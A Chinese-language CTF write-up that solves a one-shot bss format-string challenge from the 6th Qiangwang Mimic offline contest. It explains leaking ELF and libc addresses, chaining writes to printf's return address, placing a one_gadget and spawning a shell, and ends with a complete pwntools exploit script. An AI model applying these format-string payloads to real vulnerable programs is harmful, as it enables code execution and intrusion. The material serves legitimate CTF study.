第六届强网拟态线下赛
记一道格式化字符串题目,个人感觉算是格式化字符串里的困难级别了,几乎限制到了最高。
参考自大佬: https://zikh26.github.io/posts/a523e26a.html
libc2.31,保护全开。
main函数如下:

分析可知,只有一次bss段格式化字符串漏洞利用的机会,且printf后跟着exit。
题目分析:
1、题目给了栈地址的后四位,用于我们修改返回地址调用链。
2、printf后跟着exit,因此不能控制main函数的返回地址,并且libc未知,也没法修改exit_hook为target,所以只能修改printf函数的返回地址成target,以便后续再次利用。
具体思路:
首先获取栈地址低位
1 2 3
| ru("Gift: ") ret_addr_low = int(p.recv(4),16) success("ret_addr_low: " + hex(ret_addr_low))
|
第一步构造
首先我们需要根据已知的后四位栈地址,修改返回地址由0x1250 变成0x1223(即read函数的起始地址),因为只有一次机会,并且需要修改两处,所以不能使用$符号进行修改,具体思路可参考我之前格式化字符串漏洞文章里的7.5.1只能进行一次bss段格式化字符串利用部分 PWN-格式化字符串漏洞 | 摆烂小子。
构造payload:
1 2 3
| payload=b'%p'*9 payload+=b'%'+str((value-0xc)-90).encode()+b'c%hn' payload+=b'%'+str(0x100023-((value-0xc))).encode()+b'c%39$hhn'
|
1、泄露地址
解释一下该payload,由于我们不能连续使用两个$进行修改,所以需要在前边填充%,不需要泄露内容的情况下一般是填充%c,因为只占一个字符,方便后边地址计算,但是这里我们需要泄露libc地址和elf地址,所以使用9个%p填充,加上后边的%xc的一共是10个,那么后边%hn修改的就是栈上偏移11的地方,即途中划线处。

因为写入内容太大,调试框看不到泄露的地址,所以我们先注释掉后边两部分,只发送payload=b’%p’*9 ,然后下断点s进入printf(这里一定要s步入到printf中,不然回到main后会抬栈,不好看了)

接收代码如下:
1 2 3 4 5 6 7 8 9
| print(payload) p.send(payload) ru('0x') elf_base = int(p.recv(12),16) - 0x4040 success("elf_base: " + hex(elf_base)) ru('0x') ru('0x') libc_base = int(p.recv(12),16) - 0x10dfd2 success("libc_base: " + hex(libc_base))
|

可以看到成功泄露出libc地址和elf地址了。
2、修改返回地址
接下来解释以下为什么是str((value-0xc)-90)
和str(0x100023-((value-0xc)))
我们首先找到printf的返回地址,还是s步入到printf中后查看栈内存:

可以看到0x1e88处就是printf的返回地址,指向0x1250(对应ida里的0x1250),并且main的返回地址就是下边的0x1ea8,两者相差0x20。那么为什么是这样构造str((value-0xc)-90)
呢。
首先打印一下send发送的payload,如下:
1
| b'%p%p%p%p%p%p%p%p%p%7726c%hn%1040795c%39$hhn'
|
可知,7726就是str((value-0xc)-90)
的值,转成16进制就是0x1e2e,然后再看上图栈内存,我们需要修改第11处偏移变成返回地址,也就是要修改成0x1e88,计算一下0x1e88 - 0x1e2e = 90
,由于%n会把前边以输出的字节也加上,所以我们看一下前边输出的信息长度是多少。

发现正好是90,所以前边输出的一大堆地址的字节90 + 0x1e2e = 0x1e88,就可以修改第11处偏移指向返回地址了,后边的再次修改返回地址成0x1223同理,不做赘述。
printf执行完后,栈内存如下:

可以看到成功在泄露libc地址和elf地址的情况下同时修改了返回地址成0x1223,而该地址就是read的起始地址,我们又可以再次输入利用了。
第二步构造
通过第一步构造,我们已经实现了控制printf返回地址的操作,接下来只需重复该操作即可。
具体思路是修改printf的返回地址+8处内容为one_gadget(我们不能直接修改返回地址成one_gadget,因此12字节一次修改不掉,修改部分返回地址就会出错),最后再修改printf的返回地址成ret,使其滑到下方的one_gadget处执行。
分三次修改,每次修改4字节。
注意:每次修改过程中都要同时修改返回地址成0x1223,方便后面再次利用。
第一次payload:
1 2 3 4 5 6 7 8 9 10 11 12
| payload = b'%'+str(0x23).encode()+b'c%39$hhn' payload += b'%'+str(((ret_addr_low-4))-0x23).encode()+b'c%27$hn' payload = payload.ljust(0x100,b'\x00')
p.send(payload)
payload = b'%'+str(0x23).encode()+b'c%39$hhn' payload += b'%'+str((one_gadget&0xffff)-0x23).encode()+b'c%41$hn' payload = payload.ljust(0x100,b'\x00') debug()
p.send(payload)
|
1、第一次修改one_gadget低四位
debug下断掉s步入到printf,n到执行完,查看栈内存。

发现已经成功修改printf_ret_addr + 8 处的第四位成了one_gadget的第四位,注意这里需要找一条另外的栈链,不能用偏移11的那条链了,这里选择的是偏移27和41处的。
后续同理,分别修改one_gadget的另外高八位即可。
2、第二次修改one_gadget中四位
修改后栈内存如图:

3、第三次修改one_gadget高四位
修改后栈内存如图:

4、最后修改返回地址成ret
修改后栈内存如图:

最后,成功getshell。

完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * from ctypes import * from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(a): return p.recv(a) def ru(a): return p.recvuntil(a) def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(libcbase): return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))
p = process('./pwn') elf = ELF('./pwn') libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
ru("Gift: ") ret_addr_low = int(p.recv(4),16) success("ret_addr_low: " + hex(ret_addr_low))
payload = b'%p'*9 payload += b'%'+str((ret_addr_low-0xc)-90).encode()+b'c%hn' payload += b'%'+str(0x100023-((ret_addr_low-0xc))).encode()+b'c%39$hhn'
print(payload) s(payload) ru('0x') elf_base = int(p.recv(12),16) - 0x4040 success("elf_base: " + hex(elf_base)) ru('0x') ru('0x') libc_base = int(p.recv(12),16) - 0x10dfd2 success("libc_base: " + hex(libc_base)) one_gadget = libc_base + 0xe3b01
payload = b'%'+str(0x23).encode()+b'c%39$hhn' payload += b'%'+str(((ret_addr_low-4))-0x23).encode()+b'c%27$hn' payload = payload.ljust(0x100,b'\x00') s(payload)
payload = b'%'+str(0x23).encode()+b'c%39$hhn' payload += b'%'+str((one_gadget&0xffff)-0x23).encode()+b'c%41$hn' payload = payload.ljust(0x100,b'\x00') s(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((ret_addr_low-4+2))-0x23).encode()+b'c%27$hn' payload=payload.ljust(0x100,b'\x00') s(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((one_gadget>>16)&0xffff)-0x23).encode()+b'c%41$hn' payload=payload.ljust(0x100,b'\x00') s(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((ret_addr_low-4+2+2))-0x23).encode()+b'c%27$hn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((one_gadget>>32)&0xffff)-0x23).encode()+b'c%41$hn' payload=payload.ljust(0x100,b'\x00') s(payload)
payload=b'%'+str(0xc4).encode()+b'c%39$hhn' payload=payload.ljust(0x100,b'\x00')
s(payload)
p.interactive()
|